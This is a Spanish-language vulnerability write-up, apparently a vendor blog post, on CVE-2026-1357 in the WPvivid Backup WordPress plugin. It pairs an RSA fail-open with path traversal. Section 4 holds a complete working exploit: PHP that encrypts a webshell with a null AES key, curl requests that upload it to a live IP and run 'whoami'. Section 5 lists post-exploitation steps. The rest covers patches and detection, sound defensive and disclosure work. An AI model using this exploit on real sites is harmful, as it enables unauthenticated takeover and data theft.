Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

CVE-2026-1357: RCE no autenticada en el plugin WPvivid Backup

Análisis técnico de CVE-2026-1357, una vulnerabilidad crítica de ejecución remota de código no autenticada con CVSS 9.8 en el plugin WPvivid Backup & Migration (≤ 0.9.123). El encadenamiento de dos fallos permite escribir archivos arbitrarios y subir una shell sin credenciales.

CVE-2026-1357

RCE no autenticada en el plugin WPvivid Backup

17 de febrero de 2026 · CVSS 9.8 Crítica · WPvivid ≤ 0.9.123

CVE ID CVSS Affected Fixed
CVE-2026-1357 9.8 Critical ≤ 0.9.123 0.9.124+

1. Madriguera abajo: descripción general de la vulnerabilidad en el plugin WPvivid Backup and Migration

WPvivid Backup & Migration es uno de esos plugins omnipresentes en WordPress: más de 300,000 instalaciones activas, valoraciones sólidas y gestión de copias de seguridad, migraciones y entornos de pruebas. Tareas rutinarias. Lo que lo hizo interesante fue una única funcionalidad: Remote Backup Transfer, que permite a los sitios transferir datos de respaldo cifrados entre sí.

El término cifrados asume una gran responsabilidad aquí. Cuando se publicó CVE-2026-1357 con una calificación crítica de 9.8, dicha funcionalidad constituyó el punto de entrada. A continuación se presenta un desglose técnico del funcionamiento de la vulnerabilidad.


2. La criptografía que no fue: análisis del fail-open de RSA en WPvivid en CVE-2026-1357

El primer fallo reside en includes/class-wpvivid-crypt.php, dentro de la función decrypt_message(). El plugin utiliza un esquema híbrido de RSA + AES: la clave RSA descifra una clave simétrica, y esa clave descifra la carga útil.

No es seguro. Este es el código vulnerable:

// class-wpvivid-crypt.php  (v0.9.123)
public function decrypt_message($message) {
    $rsa = new Crypt_RSA();
    $rsa->loadKey($this->public_key);
    $key = $rsa->decrypt($key);       // Returns FALSE on invalid key
    $rij = new Crypt_Rijndael();
    $rij->setKey($key);               // BUG: no check, sets FALSE as key
    return $rij->decrypt($data);      // Decrypts with null-byte key
}

Cuando el descifrado RSA falla, $rsa->decrypt() devuelve FALSE. Dicho valor de retorno nunca se valida. Pasa directamente a setKey().

El plugin utiliza phpseclib v1. En esa versión, setKey(FALSE) interpreta el valor como una cadena vacía, la cual se rellena hasta convertirse en una clave nula de 16 bytes: \x00\x00\x00...\x00. Esa clave es fija, conocida e idéntica en cada instalación. Cualquier atacante que precifre su carga útil utilizando dicha clave nula logrará que el plugin la descifre con éxito, eludiendo la autenticación por completo.

Fail-open criptográfico (CWE-755): La falta de validación del resultado de una operación de descifrado provoca que la función recurra a una clave nula conocida en lugar de abortar la ejecución. El atacante proporciona una clave RSA no válida para desencadenar el error y, a continuación, envía una carga útil previamente cifrada con la clave nula.


3. Perderse a propósito: path traversal en la funcionalidad Send to Site de WPvivid

El segundo fallo se encuentra en includes/customclass/class-wpvivid-send-to-site.php. Tras la fase de descifrado (ahora eludida), el plugin lee un nombre de archivo de la carga útil JSON y construye una ruta de archivo con él:

// class-wpvivid-send-to-site.php  (v0.9.123)
public function send_to_site() {
    $params    = json_decode($data, 1);
    $dir       = WPvivid_Setting::get_backupdir();

    // No sanitization of $params['name']
    $file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
               . str_replace('wpvivid', 'wpvivid_temp', $params['name']);

    fwrite($handle, base64_decode($params['data']));
}

No existe basename(). No hay comprobación de extensión. El valor de $params['name'] pasa directamente a la ruta. Al asignarle el valor "../uploads/shell.php", se resuelve como /wp-content/uploads/shell.php, un directorio accesible públicamente y con permisos de ejecución de PHP.

Path traversal (CWE-22): El nombre de archivo suministrado por el usuario llega al sistema de archivos sin saneamiento. En combinación con el fallo n.º 1, una solicitud no autenticada puede escribir cualquier contenido en cualquier ubicación accesible desde la raíz web.


4. Uniendo las piezas: explotación de CVE-2026-1357 para la ejecución remota de código

La explotación se lleva a cabo en dos pasos: generar la carga útil y enviar la solicitud.

Paso 1: Generación de la carga útil

El exploit replica el comportamiento de clave nula de phpseclib v1. La webshell en PHP se cifra con AES usando \x00×16, se encapsula en JSON con un nombre de archivo de salto de directorio y se le antepone una clave RSA no válida para forzar el fail-open:

<?php  // exploit.php
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

$rijndael = new Crypt_Rijndael();
$rijndael->setBlockLength(128);
$rijndael->setKey(str_repeat("\0", 16));  // 16-byte null key

$shell = '<?php system($_GET["cmd"]); ?>';

$payload = [
    'name'   => '../uploads/pwn_shell.php',  // path traversal
    'data'   => base64_encode($shell),
    'offset' => 0, 'index' => 0, 'type' => 'backup', 'status' => 'running'
];

$enc      = $rijndael->encrypt(json_encode($payload));
$fake_rsa = 'ABC';  // any garbage triggers the fail-open

$packet = str_pad(dechex(strlen($fake_rsa)), 3, '0', STR_PAD_LEFT)
        . $fake_rsa
        . str_pad(dechex(strlen($enc)), 16, '0', STR_PAD_LEFT)
        . $enc;

echo base64_encode($packet);

Paso 2: Envío de la solicitud

La carga útil se envía al endpoint raíz de WordPress mediante una solicitud POST ordinaria. No se requieren credenciales, sesión ni configuración previa:

PAYLOAD=$(php exploit.php)
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl -i -s -X POST "http://209.38.255.159:8090/" \
  -d "wpvivid_action=send_to_site" \
  -d "wpvivid_content=$ENCODED"

Respuesta:

HTTP/1.1 200 OK
Date: Tue, 17 Feb 2026 10:38:21 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.3.30
Content-Length: 36

{"result":"success","op":"finished"}

La shell se encuentra en el disco. Al invocarla:

curl "http://209.38.255.159:8090/wp-content/uploads/pwn_shell.php?cmd=whoami"

www-data

5. Prueba de concepto: recorrido del exploit de RCE en WPvivid y análisis de impacto

El objetivo ejecutaba WPvivid v0.9.123 con la actualización 0.9.124 disponible pero aún no aplicada.

Panel de administración de WordPress que muestra WPvivid v0.9.123 instalado con la actualización a 0.9.124 pendiente
WPvivid v0.9.123, update pending

Tras la explotación, la webshell cargada responde a comandos arbitrarios bajo el proceso del servidor web.

RCE confirmada, /etc/passwd devuelto mediante la shell subida
RCE confirmed via uploaded webshell

Impacto: Con acceso como www-data, un atacante puede leer wp-config.php para obtener las credenciales de la base de datos, exfiltrar toda la información del sitio, instalar una puerta trasera persistente o pivotar hacia otros sistemas según la configuración del servidor. El compromiso total de la instalación de WordPress resulta trivial a partir de este punto.


6. La corrección: parcheando el fallo de seguridad CVE-2026-1357 en el plugin WPvivid

La versión 0.9.124 soluciona ambos fallos de forma independiente. Cualquiera de las dos correcciones por sí sola neutraliza la cadena de explotación.

Corrección 1: Validar el resultado del descifrado

Una única comprobación tras $rsa->decrypt() convierte el fail-open en un fail-closed. Si el descifrado devuelve false o una clave vacía, la función se interrumpe:

// class-wpvivid-crypt.php  (v0.9.124)
$key = $rsa->decrypt($key);

if ($key === false || empty($key)) {
    return false;  // fail-closed
}

$rij->setKey($key);
return $rij->decrypt($data);

Corrección 2: Sanear el nombre de archivo y aplicar una lista blanca de extensiones

basename() elimina las secuencias de salto de directorio. Una expresión regular restringe los caracteres permitidos. Una lista blanca explícita de extensiones bloquea cualquier archivo ejecutable:

// class-wpvivid-send-to-site.php  (v0.9.124)
$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);

$allowed = ['zip', 'gz', 'tar', 'sql'];
$ext     = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed, true)) {
    $ret['error'] = 'Invalid file type.';
    echo wp_json_encode($ret);
    die();
}

7. Detección de CVE-2026-1357 con Ostorlab KEV

CVE-2026-1357 ya está cubierto en la suite de detección de vulnerabilidades explotadas conocidas (KEV) de Ostorlab. La suite ejecuta escaneos automatizados en puertos abiertos y servicios expuestos para identificar vulnerabilidades explotadas conocidas a gran escala, integrando herramientas como Nmap, Tsunami, Asteroid, Nuclei y Metasploit bajo un único grupo de agentes.

La plantilla de Nuclei

Se desarrolló una plantilla verificada de Nuclei para esta CVE y se añadió al repositorio de KEV. Fue elaborada conjuntamente por omarkurt y Lucas Montes (NiRoX), el descubridor original de la vulnerabilidad. La plantilla envía tres solicitudes al objetivo:

  • Una petición GET al archivo readme.txt del plugin para confirmar la instalación de WPvivid y extraer el número de versión.
  • Una petición POST al endpoint raíz con una carga útil prefabricada de exploit que desencadena el fail-open y escribe una shell mediante path traversal.
  • Una petición GET a la shell cargada para confirmar su ejecución. La detección requiere que coincidan las tres condiciones: plugin presente, subida exitosa y respuesta de la shell.

La plantilla está etiquetada como verified: true y catalogada como intrusiva, ya que explota activamente el objetivo para confirmar la vulnerabilidad en lugar de limitarse a identificar su huella digital. Se incluye en el grupo de agentes KEV junto a más de 200 plantillas que cubren CVE críticas rastreadas por CISA y la comunidad global de inteligencia de amenazas.

La plantilla completa se encuentra disponible en el repositorio KEV de Ostorlab en: github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-1357.yaml


Conclusiones

CVE-2026-1357 constituye un claro ejemplo de cómo dos errores individualmente delimitables se encadenan hasta alcanzar una calificación de severidad crítica. El fail-open criptográfico suprime la autenticación; el salto de directorio concede acceso de escritura arbitraria en la raíz web. Ninguno de los dos fallos resulta exótico.

Las lecciones para la defensa son igualmente evidentes:

  • Valide siempre los valores de retorno criptográficos antes de emplearlos como claves.
  • Nunca utilice entradas proporcionadas por el usuario directamente en rutas del sistema de archivos.
  • El uso de basename() y una lista blanca de extensiones representan prácticas estándar en la gestión de subida de archivos.
  • Defensa en profundidad: aplique parches en ambas capas de modo que ninguna evasión por sí sola sea suficiente.

Referencias

Resource Link
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-1357
Wordfence https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
PoC https://github.com/LucasM0ntes/POC-CVE-2026-1357
Plugin https://wordpress.org/plugins/wpvivid-backuprestore/